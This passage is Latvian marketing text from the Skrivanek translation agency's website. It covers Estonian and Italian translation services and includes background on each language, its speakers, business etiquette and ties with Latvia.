iestādēm dažādu juridisku tulkojumu veikšanā. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. KUR UN CIK DAUDZ RUNĀ IGAUŅU VALODĀ? Igauņu valoda ir otra mazākā, tās runātāju skaita ziņā, valoda pasaulē, kurai ir piešķirts valsts valodas statuss (pirmajā vietā – islandiešu valoda). Igauņu valoda ir dzimtā valoda aptuveni 1,1 miljonam cilvēku pasaulē, t. sk. aptuveni 915 tūkstošiem cilvēku Igaunijā (2021. gadā) un ap 200 tūkstošiem ārpus Igaunijas; no tiem ap 50 tūkstošiem Somijā, ap 27 tūkstošiem Amerikas Savienotajās Valstīs, 24 tūkstošiem Kanādā, 26 tūkstošiem Zviedrijā un 17 tūkstošiem Krievijā, ap 7 tūkstošiem Austrālijā, 10 000 Apvienotajā Karalistē, Vācijā, Norvēģijā, Ukrainā, Īrijā, Beļģijā, Dānijā, Nīderlandē un aptuveni 1700 Latvijā. Pēc runātāju skaita igauņu valoda ir divsimt pasaules izplatītāko valodu starpā un trešā izplatītākā urāliešu valoda pēc ungāru un somu valodas. Otrā pasaules kara laikā, kad 1944. gadā Igaunijā iebruka Padomju armija, liels skaits igauņu ar kuģiem vai mazākām laivām pa Baltijas jūru aizbēga no savas dzimtenes. Daudzi bēgļi, kas izdzīvoja riskantajā jūras braucienā uz Zviedriju vai Vāciju, vēlāk no turienes pārcēlās uz Kanādu, Apvienoto Karalisti, ASV vai Austrāliju. Daļa no šiem bēgļiem un viņu pēcnācējiem atgriezās Igaunijā pēc valsts neatkarības atgūšanas 1991. gadā. Neatkarības gados arvien vairāk igauņu izvēlējās strādāt ārvalstīs, galvenokārt Somijā, arī citās Eiropas valstīs (galvenokārt Apvienotajā Karalistē, Beniluksa valstīs, Zviedrijā un Vācijā), padarot Igauniju par valsti ar augstāko emigrācijas līmeni Eiropā. IGAUŅU VALODA BIZNESĀ Igauņi ir daudzvalodīgi. Taču ne visi prot runāt igauņu valodā, piemēram, krievi, lai gan varētu būt dzimuši Igaunijā. Lielākā daļa igauņu lieto krievu valodu kā otro saziņas valodu. Angļu valoda vienmēr ir bijusi obligāts mācību priekšmets skolā, pat komunistiskā režīma laikā. Krievu valoda nav oficiālā valoda, un saskaņā ar likumu visi oficiālie dokumenti, piemēram, līgumi un darījumi, būtu jāpārtulko igauņu valodā. Angļu valoda ir populāra valoda Igaunijā, un labas angļu valodas zināšanas ir svarīga biznesa izglītības daļa. Starptautiskās biznesa tikšanās parasti notiek angļu valodā, tāpēc igauņu cerības uz to, ka sadarbības partneri runās igauņu valodā, ir zemas, taču, ja būs zināmas kaut pāris pieklājības frāzes, igauņi to novērtēs. Ārpus Igaunijas teritorijas igauņu valoda kā biznesa valoda principā netiek lietota. Ja tiek slēgti sadarbības līgumi ar Igaunijas uzņēmējiem, tiek lietota angļu vai krievu valoda. IGAUŅI LATVIJĀ Pirmie igauņu pārstāvji Latvijas teritorijā bija leivi un lutsi. Leivu, kuru, kā uzskata, ir bijis pāris tūkstošu, apdzīvotā vieta stiepās no tagadējā Veru (Võru) apriņķa dienvidu gala līdz Gulbenei un Alūksnei. Lutsu ciemi atradās ap Ludzu (no tā arī nosaukums: lutsi), tiek uzskatīts, ka viņu maksimālais skaits bija ap 4000. Tradicionāli igauņi ir dzīvojuši arī teritorijā uz dienvidiem no tagadējās Latvijas-Igaunijas robežas. Ļoti interesants ir fakts, ka LU Lībiešu institūts sadarbībā ar Ludzas pilsētas bibliotēku ir izdevuši “Ludzas igauņu ābeci”. Lielākā igauņu kopiena Rīgā izveidojās 19. gadsimta beigās un 20. gadsimta sākumā. Uz Rīgu, kas tajā laikā bija viens no cariskās Krievijas lielākajiem rūpniecības centriem un Vidzemes guberņas administratīvais centrs, kurā ietilpa liela daļa no tagadējās Igaunijas teritorijas, ieceļoja tekstilrūpniecības strādnieki un amatnieki, kā arī lieltirgotāji un rūpnieki. Papildus Rīgā ienāca igauņu jaunieši, kuri atrada mācību iespējas Baltijas valstu vienīgajā tehniskajā augstskolā un Rīgas Garīgajā seminārā. Ja 1881. gadā Rīgā dzīvoja 1565 igauņu, tad 20. gadsimta sākumā viņu skaits, pēc dažādiem vērtējumiem, bija pieaudzis līdz 28 tūkstošiem. Pirmā Pasaules kara laikā un pēc tā ļoti daudzi igauņi atgriezās savā dzimtenē. Pēc Latvijas pirmās, 1920. gada tautas skaitīšanas datiem Latvijā dzīvoja 8700 igauņu, no viņiem vairākums pierobežā, ap Valmieru (1600 igauņu), Valkas un Alūksnes apkārtnē (4100) un Rīgā (1600). Pārsimts igauņu lielas kopienas dzīvoja arī ostas pilsētās Liepājā un Ventspilī. Trešā daļa igauņu ienāca Latvijā Padomju okupācijas laikā, kad, trūkstot valstu robežām, bija vieglāk kaimiņvalstī mācīties, strādāt, vai arī ieprecēties. Saskaņā ar Latvijas Statistikas dienesta datiem 2021. gadā Latvijā dzīvo 1676 igauņu tautības cilvēku. Abām valstīm ir lieliska sadarbība ekonomikā, sadarbība izglītības jomā, kultūras jomā, iekšlietu un tieslietu jomā, kā arī aizsardzības jomā. Nevar nepieminēt arī veiksmīgo sadarbību transporta un sakaru jomā. Kopš 1989. gada Rīgā darbojas Rīgas Igauņu skola. Latvijas Universitātei ir noslēgts sadarbības līgums ar Tartu Universitāti. Latvijas Universitātē tiek īstenota somugru studiju programma, kas ietver arī igauņu valodas apmācību. Igauņu valodu iespējams apgūt kā C daļas priekšmetu arī citiem interesentiem. Vairāk par programmu šeit. Tartu Universitātē šobrīd tiek mācīta latviešu valoda kā brīvās izvēles kurss, kuram ir vērā ņemama atsaucība no studentu puses. Tartu Universitāte ir ieinteresēta paplašināt latviešu valodas apguvi. Latviešu valodas kursi tiek piedāvāti arī Tallinas Universitātē. Latvijas Lauksaimniecības universitātei ilgstoši ir sadarbība ar Igaunijas Dabaszinātņu Universitāti Tartu. Latvijas Mākslas akadēmija sadarbojas ar Igaunijas Mākslas akadēmiju un Tartu Universitāti. Latvijas Kultūras akadēmija ir noslēgusi sadarbības līgumu ar Igaunijas Mūzikas un teātra akadēmiju programmas Socrates/Erasmus ietvaros, kā arī ar Tartu Universitātes Vīlandes Kultūras akadēmiju. Sadarbība ar Igauniju visās kultūras un mākslas nozarēs norit ļoti aktīvi, pateicoties ļoti labai sadarbībai ar Igaunijas Kultūras ministriju, notiek regulāra pieredzes apmaiņa starp ministrijām visos līmeņos. Sadarbība aizsardzības jomā starp Baltijas valstīm notiek saskaņā ar 2013. gada janvārī aizsardzības ministru parakstīto saprašanās memorandu par sadarbību aizsardzības un militārajos jautājumos. Sauszemes spēku vienības regulāri piedalās kopīgās mācībās, kas sekmē savstarpējās savietojamības uzturēšanu augstā līmenī. Latvija un Igaunija aktīvi sadarbojas divpusējo un trīspusējo Baltijas valstu transporta projektu plānošanā un īstenošanā. Latviju un Igauniju šķērso Via Baltica transporta koridors, abās valstīs ir attīstīts dzelzceļa tīkls, un tās piedalās dzelzceļa projekta Rail Baltica attīstībā. Par savas valsts pilsoņiem Latvijā rūpējas Igaunijas vēstniecība Latvijā ─ https://riga. mfa. ee/lv/igauni-latvija-musdienas IGAUŅU VALODAS DIENA Igaunijā dzimtās valodas diena, kas tiek atzīmēta 14. martā, kā viena no igauņu dzejas tradīciju aizsācēja Kristjana Jāka Pētersona dzimšanas diena, pirmo reizi par valsts svētkiem tika atzīta 1999. gadā. Tagad to atzīmē ne tikai Igaunijā, bet daudzās igauņu mājās, skolās un universitātēs visā pasaulē. Par godu šim notikumam Igaunijā un ārvalstīs tiek rīkoti simtiem lielāku un mazāku pasākumu, tostarp tradicionālais diktāts ERR raidījumā Vikerraadio. Šī diena tiek plaši atzīmēta arī ārpus Igaunijas, un daudzas Igaunijas biedrības un ārvalstu institūcijas rīko konkursus un īpašus pasākumus. Piemēram, Ļvivas Universitātē Ukrainā tika rīkots konkurss, lai atrastu interesantāko igauņu vārdu. Igauņu valodu māca gandrīz 60 kopienās ārpus Igaunijas, un to skaits ar katru gadu pieaug. Pēc Igaunijas institūta datiem, aptuveni 1000 studentu apgūst igauņu valodu universitātēs visā pasaulē, visvairāk Somijā, Zviedrijā, Latvijā un Ungārijā, kā arī Ukrainā, ASV un Ķīnā. Mūsdienās igauņu valodu runā aptuveni 1,1 miljons cilvēku. Pēc pēdējās tautas skaitīšanas datiem 130 000 igauņu valodas runātāju runā arī kādā no vairākiem igauņu dialektiem. Tomēr pētnieki baidās, ka pieaugošās urbanizācijas rezultātā dialekti izzudīs. Dialektos dažādos laikos igauņiem ir bijusi atšķirīga nozīme. Ja igauņu rakstītās valodas attīstība ilgu laiku daudziem lika dialektus uzskatīt par mazāk vērtīgiem vai apakšvalodu, tagad tie arvien vairāk tiek uzskatīti par nozīmīgu kultūras daudzveidības un vietējās identitātes rādītāju. Tā kā rakstītā igauņu valoda balstās uz ziemeļu dialektu, dienvidu dialektos ir statistiski vairāk runātāju. Pēdējie krietni atšķiras no ikdienā lietotās igauņu valodas, kas ļauj cilvēkiem vieglāk identificēt sevi kā dialekta runātājus. Visplašāk runātais igauņu dialekts ir Veru dialekts, ko lieto vairāk nekā 87 000 cilvēku. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM IGAUŅU VALODĀ: dokumentu tulkošana igauņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; igauņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi igauņu valodā; individuālie igauņu valodas kursi. IGAUŅU VALODAS KOMBINĀCIJAS: latviešu–igauņu; igauņu–latviešu; angļu–igauņu; igauņu–angļu; lietuviešu–igauņu; igauņu–lietuviešu; krievu–igauņu; igauņu–krievu; poļu–igauņu; igauņu–poļu; ukraiņu–igauņu; igauņu–ukraiņu; čehu–igauņu; igauņu–čehu; vācu–igauņu; igauņu–vācu; spāņu–igauņu; igauņu–spāņu; franču–igauņu; igauņu–franču; itāļu–igauņu; igauņu–itāļu; dāņu–igauņu; igauņu–dāņu; zviedru–igauņu; igauņu–zviedru; norvēģu–igauņu; igauņu–norvēģu; somu–igauņu; igauņu–somu, igauņu–arābu; arābu–igauņu; igauņu–armēņu, armēņu–igauņu; igauņu–baltkrievu, baltkrievu–igauņu; bulgāru–igauņu, igauņu–bulgāru; igauņu–ebreju, ebreju–igauņu, igauņu–grieķu, grieķu–igauņu; igauņu–gruzīnu; gruzīnu–igauņu; igauņu–hindi; hindi–igauņu; igauņu–holandiešu; holandiešu–igauņu; igauņu–korejiešu; korejiešu–igauņu; igauņu–kurdu; kurdu–igauņu; igauņu–ķīniešu; ķīniešu–igauņu; igauņu–portugāļu; portugāļu–igauņu; igauņu–rumāņu; rumāņu–igauņu; igauņu–slovāku; slovāku–igauņu; igauņu–slovēņu; slovēņu–igauņu; igauņu–turku; turku–igauņu; igauņu–ungāru; ungāru–igauņu u. c. --- > Dažādu dokumentu un pasākumu tulkojumi itāļu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs, sazinieties ar mums! - Published: 2017-09-29 - Modified: 2024-10-14 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/ - Translation Priorities: Optional TULKOJUMI ITĀĻU VALODĀ / TULKOT ITĀĻU VALODĀ CIK MAKSĀ TULKOŠANA ITĀĻU VALODĀ? Tulkojumu cena no/uz itāļu valodu tiek noteikta katram pasūtījumam individuāli. Cenas noteikšanā vērā tiek ņemti vairāki aspekti – secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā tehniskais nodrošinājums, tulku skaits utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura sarežģītība, atkārtojumi tekstā, grafiskā apstrāde un formatēšana, koriģēšana, redaktūra, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz itāļu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas biroja tulkošanas projektu vadītāji vienmēr sniedz sīku izklāstu par darba cenu pirms katra tulkošanas projekta uzsākšanas. Parasti cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu mūsu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ITĀĻU VALODĀ: dažādu dokumentu tulkošana itāļu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; itāļu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi itāļu valodā; individuālie un grupu itālu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus itāļu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ITĀĻU VALODĀ / TULKOT ITĀĻU VALODĀ CIK MAKSĀ TULKOŠANA ITĀĻU VALODĀ? Tulkojumu cena no/uz itāļu valodu tiek noteikta katram pasūtījumam individuāli. Cenas noteikšanā vērā tiek ņemti vairāki aspekti – secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā tehniskais nodrošinājums, tulku skaits utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura sarežģītība, atkārtojumi tekstā, grafiskā apstrāde un formatēšana, koriģēšana, redaktūra, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz itāļu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas biroja tulkošanas projektu vadītāji vienmēr sniedz sīku izklāstu par darba cenu pirms katra tulkošanas projekta uzsākšanas. Parasti cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu mūsu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ITĀĻU VALODĀ: dažādu dokumentu tulkošana itāļu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; itāļu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi itāļu valodā; individuālie un grupu itālu valodas kursi. Meklējiet valodu risinājumus itāļu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR ITĀĻU VALODU Itāļu valoda ir indoeiropiešu valodu saimes romāņu valoda, kuras pamatā ir vulgārā latīņu valoda. Itāļu valoda tiek uzskatīta par vistiešāko latīņu valodas pēcteci. Itāļu valodas pirmsākumi meklējami pirms mūsu ēras 1. gadsimta. Tā attīstījās no latīņu sarunvalodas, kas bija Senās Romas oficiālā valoda. Itāļu valoda rakstu formā sāka parādīties ap mūsu ēras 10. gadsimtu dažādu piezīmju un īsu tekstu formā. Vissenākais rakstu piemineklis itāļu valodā ir datēts ar 960. gadu. Itāļu valoda ir oficiālā Itālijas un Eiropas Savienībās valoda, tāpat tā ir mazākumtautību valoda divās Eiropas Savienības valstīs ─ Horvātijā un Slovēnijā. Tā ir viena no plašāk lietotajām valodām Eiropas Savienībā līdzās vācu, angļu un franču valodai. Itāļu valoda nav starptautiska darījumu valoda kā angļu, franču vai spāņu, taču tā tiek plaši lietota Vidusjūras valstīs un ir viena no populārākajām svešvalodām pēc apguvēju skaita pasaulē. Itāļu valodas zināšanas ļoti noderēs mākslas vēsturniekiem un mūziķiem. Tai ir liela nozīme gastronomijas pasaulē. Itāļu valoda ir ietekmējusi gandrīz visas pasaules valodas, jo īpaši minētajās jomās. Tas liecina par gandrīz absolūtu itāļu kultūras dominēšanu Eiropas vēsturē jau kopš Romas impērijas laikiem, no renesanses līdz pat mūsdienām. Itāļu literārās valodas pamatā ir Toskānas (Florences) dialekts, ko 13. –14. gadsimtā izveidoja un popularizēja tādi rakstnieki kā Dante Aligjēri (Dante Alighieri), Džovanni Bokačo (Giovanni Boccaccio) un Frančesko Petrarka (Francesco Petrarch). Ilgu laiku nebija izveidota literārā valoda, un rakstnieki rakstīja katrs savā reģionālajā dialektā. Itālijā katrā pilsētā vienmēr ir bijis savs dialekts, jo vēl tikai dažus gadsimtus atpakaļ daudzas pilsētas tika uzskatītas par atsevišķām pilsētvalstīm. Franču valoda ir aizguvusi no itāļu valodas aptuveni 3000 vārdu. Kaimiņvalstu dialekti Francijā, Horvātijā vai Slovēnijā ir ļoti ietekmējušies no itāļu valodas. Maltiešu valodā ir liels skaits itāļu valodas aizguvumu. Mūsdienās itāļu valoda ir darba valoda Vatikānā, tā ir svarīga visā katoļticīgo pasaulē. Itāļu valodā pirms lietvārdiem izmanto artikulus, kas norāda, kurai dzimtei un skaitlim konkrētais lietvārds pieder. Sieviešu dzimtes lietvārdus lieto ar artikulu „la”, vīriešu dzimtes lietvārdus ar artikulu „il”. Sieviešu dzimtes lietvārdus daudzskaitļa formā lieto ar artikulu „le”, bet vīriešu dzimtes lietvārdus daudzskaitļa formā – ar artikulu „i”. Itāļu valodā lieto arī nenoteikto sieviešu dzimtes artikulu „una” un vīriešu dzimtes artikulu „un”. Itālijas lingvistiskā dažādība ir lielāka, nekā citās romāņu valodās runājošās valstīs kopā ņemot. Literārā itāļu valoda daudzos aspektos ir tuvāka spāņu vai portugāļu, nekā pjemontiešu vai neapoliešu valodai. Pjemontiešu dialekti ir tuvāki provansiešu un franču valodai, nekā itāļu valodai. Toskāniešu valoda joprojām tiek uzskatīta par literāri pareizāko itāļu valodas dialektu, jo tā ir vistuvākā klasiskajai latīņu valodai. Itālijas apvienošanās 1861. gadā dziļi ietekmēja ne tikai politisko dzīvi, bet arī izraisīja nozīmīgas sociālās, ekonomiskās un kultūras pārmaiņas. Ar obligātās izglītības ieviešanu lasītprasmes nozīme palielinājās un daudzi cilvēki, izvēlējušies nacionālo valodu, aizmirsa savu dzimto dialektu. Itāļu valodu plaši māca daudzās skolās un augstskolās visā pasaulē, taču reti kā pirmo svešvalodu. 21. gadsimta tehnoloģijas palīdz popularizēt itāļu valodu, jo cilvēkiem tiek piedāvāti jauni un vienkārši veidi, kā iemācīties runāt, lasīt un rakstīt itāļu valodā. Saskaņā ar Itālijas Ārlietu ministrijas datiem, vidēji katru gadu vairāk nekā 200 000 ārvalstu studentu vēlas apgūt itāļu valodu. ITĀĻU ALFABĒTS Latīņu valodas alfabēts izplatījās Romas impērijā un turpināja pastāvēt arī pēc tās sabrukuma. Kad Eiropas tautas sāka veidot savu nacionālo rakstību, tās par pamatu izmantoja latīņu alfabētu, tostarp itālieši 10. gadsimtā. Latīņu valodas alfabēts tika vai nu papildināts ar jauniem burtiem, atbilstoši fonētiskajām skaņām, vai daži burti tika izņemti no latīņu alfabēta. Itāļu alfabēts sastāv no 21 burta. Burti (j, k, w, x, y) tradicionāli tiek izņemti no alfabēta, lai gan tie parādās svešvārdos. Itāļu alfabēts ir no latīņu valodas atvasināts alfabēts; tajā ir pieci patskaņi (a, e, i, o, u), 16 līdzskaņi – (b, c, d, f, g, h, l, m, n, p, q, r, s, t, v, z). CIK SAREŽĢĪTA IR ITĀĻU VALODA? Kurš gan nav domājis par itāļu valodas apguvi? Vien klausoties mūziku itāļu valodā, rodas interese par šo skaisto, lirisko un skanīgo valodu. Valodas eksperti lēš, ka tieši itāļu valoda ir viena no visvieglāk apgūstamākajām valodām pasaulē un nav arī pārsteigums, ka tā ir viena no populārākajām valodām, kuru cilvēki vēlas apgūt. Principā, lai sasniegtu sarunvalodas līmeni, būs nepieciešamas vien 25 nedēļas, ja itāļu valodu mācīsieties vismaz 24 stundas nedēļā. Itāļu valodas izruna ir ļoti vienkārša, tā ir skaista un melodiska. Pamatā vārdi tiek izrunāti tāpat kā rakstīti. Vieglāk itāļu valodu ir apgūt tiem, kuri jau runā kādā no romāņu valodām – franču, spāņu vai portugāļu. Grūtības varētu sagādāt gramatiskās īpatnības – itāļu valodā katrai vārdšķirai tiek izšķirts dzimums. Grūti ir atšķirt izrunā līdzskaņu dubultošanos, bet tā var mainīt pat vārda jēgu. Tātad – daudz praktisko nodarbību, dziesmas, dzejas lasīšana, ceļojumi uz Itāliju, apņēmība un laiks ir tas, kas nepieciešams šīs skaistās valodas apgūšanai. KUR UN CIK DAUDZ RUNĀ ITĀĻU VALODĀ? Itāļu valoda ir dzimtā valoda vismaz 67 miljoniem cilvēku visā pasaulē. Tā ir oficiālā valsts valoda Itālijā, Šveicē, Sanmarīno un Vatikānā un tā ir arī viena no 24 oficiālajām un darba valodām Eiropas Savienībā. Kā mazākumtautības valodu to lieto Horvātijā un Slovēnijā. Lielākās itāļu valodas runātāju diasporas ir Brazīlijā – aptuveni 25 miljoni runātāju, Argentīnā – 24 miljoni runātāju, ASV – 8 miljoni runātāju, Kanādā – 1,5 miljons runātāju, Urugvajā – 1,5 miljons runātāju un Austrālijā – nedaudz zem viena miljona runātāju. ITĀĻU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic profesionālo tulku un tulkotāju komanda visās Baltijas valstīs strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu itāļu valodā korektūru un stilistisko uzlabošanu. Protams, valodas speciālisti var sniegt informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz itāļu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptāciju, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos, tiešsaistē Zoom platformā. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. ITĀĻU VALODA BIZNESĀ Itālijas ģeogrāfiskā atrašanās vieta ir ļoti nozīmīga, padarot to par stratēģisku loģistikas centru un vārtiem uz Eiropas vienoto tirgu. Spēja lietot pareizo valodu un pareizos žestus saziņā ir ļoti būtiska, jo īpaši Itālijā. Roku žesti un acu kontakts ir itāļu sarunu galvenā iezīme. Ja attālināsieties vai ieturēsiet distanci, to var uzskatīt par nedraudzīgu žestu. Itāļi bieži vien vadās pēc savām jūtām un uzticēšanās ir ļoti svarīga labu biznesa attiecību veidošanā. Tikšanās laikā nevajadzētu radīt steidzamības sajūtu, jo tas potenciālajam sadarbības partnerim var šķist nepieklājīgi. Noteikti vajadzētu runāt un parādīt savu interesi par itāļu ēdienu (piemēram, brusketas pagatavošanu vai pasūtīšanu), mākslu, modi vai sportu. Arī, ja tas notiek biznesa sarunu ietvaros. Ir populārs joks ─ lai pārtrauktu itāļa runas plūsmu, vienkārši saņemiet viņa rokas. Pirms biznesa sadarbības uzsākšanas noteikti vajadzētu informēt sadarbības partneri, ja jūs nerunājat itāļu valodā. Tas skaidri jānorāda savā vēstulē, e-pastā vai paziņojumā, minot valodu, kurā jūtaties pārliecinoši. Bieži vien itāļu uzņēmēji nerunā angliski un ir gatavi izmantot profesionāla tulka pakalpojumus. Lai gan ir itāļu uzņēmēji, kas runā gan angļu, gan franču valodā, itāļu valoda jebkurā gadījumā būs dominējošā valoda. Itālis vienmēr novērtēs ikvienu, kas centīsies runāt viņa dzimtajā valodā, kaut arī darīs to slikti. Noteikti ir jārēķinās ar to, ka itāļu valodas zināšanas Itālijā būs veiksmes atslēga biznesa attiecību veidošanai. Ārpus Itālijas itāļu valodai nav liela loma biznesa vidē, izņemot jomas, kas ir saistītas ar mūziku, mākslu, zinātni, pavārmākslas pasauli. ITĀĻI LATVIJĀ 2021. gadā Latvija un Itālija atzīmēja nozīmīgas gadadienas ─ simtgadi kopš diplomātisko attiecību nodibināšanas un 30 gadus kopš atbalsta Latvijas neatkarības atjaunošanai un diplomātisko attiecību atjaunošanas. Itālija bija starp pirmajām valstīm, kas jau 1992. gadā atklāja vēstniecību Rīgā. Starp Latviju un Itāliju notiek aktīva sadarbība kultūrizglītības jomā, ir noslēgti vairāki augstskolu sadarbības līgumi ar Itālijas augstākās izglītības iestādēm Eiropas Savienības programmu ietvaros. Vienlaikus Itālijas valdība nodrošina stipendijas Latvijas studentiem studijām Itālijā. Aktīva sadarbība ar Itālijas izglītības iestādēm ir Latvijas Kultūras akadēmijai, Latvijas Mākslas akadēmijai un Jāzepa Vītola Latvijas Mūzikas akadēmijai. Latvijas augstākās izglītības iestādēs studē vairāk nekā simts itāļu jauniešu gan kā pilna laika studenti, gan arī starptautiskās studentu apmaiņas programmas „Erasmus” ietvaros. Latvijas Universitātē 2021. gadā mācījās 66 Itālijas pilsoņi, no kuriem 23 dažādās nozarēs mācībām bija izvēlējušies pilna laika studijas, 43 mācījās vienu semestri kā apmaiņas studenti „Erasmus” programmā. Visvairāk itāļu studentu ir Rīgas Stradiņa universitātē. Tur pilna laika studijas apgūst 96 studenti. Rīgas Tehniskajā universitātē studējošo itāļu skaits sasniedz gandrīz 30 studentu. Latvijas Kultūras akadēmijā kopš 2005. gada ir atvērta studiju programmas Starptautiskie kultūras sakari apakšprogramma Starpkultūru sakari Latvija-Itālija. Kultūras jomā katru gadu Latvijas filmas tiek pieteiktas nozīmīgākajos festivālos Itālijā: „Venice IFF”, „Rome IFF”, „Trento IFF”, „Trieste IFF”, „Torino IFF”. Aizsardzības jomā sadarbība ar Itāliju arī ir kļuvusi ievērojami ciešāka, jo Itālija piedalās NATO Kanādas kaujas grupas sastāvā Latvijā. Itālija periodiski piedalās arī NATO Baltijas gaisa telpas patrulēšanas misijā. ITĀĻU VALODAS NEDĒĻA Itāļu valodas nedēļa pasaulē ir plaša pasākumu programma ar mērķi veicināt itāļu valodas un kultūras mantojuma atpazīstamību pasaulē. Itāļu valodas nedēļa pasaulē tiek rīkota reizi gadā, trešajā oktobra nedēļā. Itāļu valodas nedēļa pasaulē pirmo reizi tika rīkota 2001. gada oktobrī, Eiropas valodu gada ietvaros, pēc Frančesko Sabatini, Accademia della Crusca prezidenta, iniciatīvas. Itāļu valodas nedēļu pasaulē atbalsta Itālijas Ārlietu ministrija, Kruskas akadēmija, Itālijas kultūras institūti ārvalstīs, Itālijas konsulāti, augstskolas, kurās tiek pasniegta itāļu valoda, Dante Alighieri biedrība un citas iestādes. Ik gadu šī iniciatīva kļūst arvien populārāka, piesaistot arvien vairāk dalībnieku un interesentu ar dažādiem pasākumiem visām 